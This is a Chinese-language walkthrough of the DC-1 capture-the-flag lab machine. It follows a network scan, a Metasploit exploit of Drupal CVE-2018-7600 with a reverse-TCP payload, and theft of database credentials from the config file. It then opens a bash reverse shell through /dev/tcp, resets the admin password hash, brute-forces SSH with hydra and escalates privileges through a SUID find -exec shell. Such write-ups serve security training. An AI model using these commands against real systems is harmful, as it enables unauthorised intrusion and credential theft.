渗透测试实战-DC-1

firewall-cmd --reload


DC-1 靶机实战

打开测试靶机DC-1

查看网络配置,及网卡

靶机使用NAT 模式,得到其MAC地址

使用nmap 工具扫描内网网段

nmap -sP 192.168.1.144/24 -oN nmap.Sp

MAC 对照得到其IP地址

对其详细进行扫描

nmap -A 192.168.1.158 -p 1-65535 -oN nmap.A

可以看到其80 22 端口都是开放的

在80端口下,我们可以看到其网站的模板为:Drupal 7

22 爆破

80 drupal CMS

国外三大PHP CMS 之一

drupal

wordpress

joomla

其80端口开放,我们可以使用浏览器直接访问IP地址

MSF

通过使用MSF 直接搜索该网站模板存在的漏洞

启动

msfconsole

search drupal

使用该攻击模块

通过查看References来查看该漏洞的详细信息;

References:

https://cvedetails.com/cve/CVE-2018-7600/

https://www.drupal.org/sa-core-2018-002

https://greysec.net/showthread.php?tid=2912

https://research.checkpoint.com/uncovering-drupalgeddon-2/

https://github.com/a2u/CVE-2018-7600

https://github.com/nixawk/labs/issues/19

https://github.com/FireFart/CVE-2018-7600

选择攻击载荷

set payload php/meterpreter/reverse_tcp

缺少目标地址,源地址

添加

set RHOSTS 192.168.1.158

set LHOST 192.168.1.150

攻击

拿到shell

flag1

Every good CMS needs a config file - and so do you.

这句话 指引我们,应该去找的该网站的配置文件

所在目录:

sites/default/

flag2

cat sites/default/settings.php

'database' => 'drupaldb',

'username' => 'dbuser',

'password' => 'R0ck3t',

'host' => 'localhost',

shell

进入交互式界面

尝试进行数据库连接

mysql -udbuser -pR0ck3t

连接失败

考虑反弹shell

反弹shell

本地监听2333端口

nc -lvvp 2333

bash -i >& /dev/tcp/192.168.1.150/2333 0>&1

直接反弹失败

借助python 反弹

python -c 'import pty;pty.spawn("/bin/bash")'

www-data@DC-1:/var/www/sites/default$ bash -i >& /dev/tcp/192.168.1.150/2333 0>&1

反弹成功

登录数据库

尝试在反弹shell 下执行连接数据库

还是失败了

但是我们发现有意思的事情,我们在kali 本机的python 交互式环境下可以成功连接到数据库

www-data@DC-1:/var/www/sites/default$ mysql -udbuser -pR0ck3t

登入成功

进入数据库drupladb

查询users数据表

select * from users\G

重置后台管理员密码

重置admin 用户密码

这里我们破解admin 用户密码要耗费时间,我们可以考虑重置admin 用户密码,使用drupal 自带脚本重新生成密码。

php scripts/password-hash.sh admin

password: admin hash: SD9/EB/sN8TEfNaCZ74SqGVO0xxuOe/8fZI3LCOMVXSOqiqfNDwDt

更新users 表

update users set pass="SD9/EB/sN8TEfNaCZ74SqGVO0xxuOe/8fZI3LCOMVXSOqiqfNDwDt" where uid=1;

更新成功

flag3

提示我们 etc/passwd

flag4

可以看到我们的flag4 用户是可以登录的

接下来我们使用hydra 爆破,该用户密码

hydra -l flag4 -P /usr/share/john/password.lst 192.168.1.158 ssh -vV -f -o hydra.ssh

我们进入/root 家目录,发现没有权限

是否有一些命令具有SUID 标志

find / -perm -4000 2>/dev/null

利用操作系统内核提权

mkdir

find GGG -exec "whoami" \;

find GGG -exec "/bin/sh" \;

测试完成


相关推荐
兀行者(做个有情怀的java程序员)几秒前
ArrayList和LinkedList有什么区别?在什么情况下使用ArrayList更高效?
java·开发语言
大G哥3 分钟前
Java中有100万个对象,用list map泛型存储和用list对象泛型存储,那个占用空间大,为什么...
java·开发语言·数据结构·windows·list
m0_7482338829 分钟前
JAVA程序员面试总结
java·开发语言·面试
s_little_monster37 分钟前
【Linux】进程地址空间
linux·运维·服务器·经验分享·笔记·学习·学习方法
Orange3015111 小时前
ES6~ES11新特性全解析
java·前端·javascript·es6
NLstudy331 小时前
declare和less
linux·运维·服务器
亿牛云爬虫专家1 小时前
深度解析:使用ChromeDriver和webdriver_manager实现无头浏览器爬虫
爬虫·selenium·爬虫代理·chromedriver·亿牛云·webdriver·代理ip
程序员林北北2 小时前
【Golang学习之旅】gRPC 与 REST API 的对比及应用
java·开发语言·后端·学习·云原生·golang
一川晚照人闲立2 小时前
JEECGBOOT前端VUE3版本浏览器兼容支持chrome>=76版本方法
java·前端·vue.js·chrome·anti-design-vue·jeecgboot·jeecg
狂笑韦恩2 小时前
Ubuntu 作为 FTP 服务器,Windows 作为 FTP 客户端
linux·服务器·ubuntu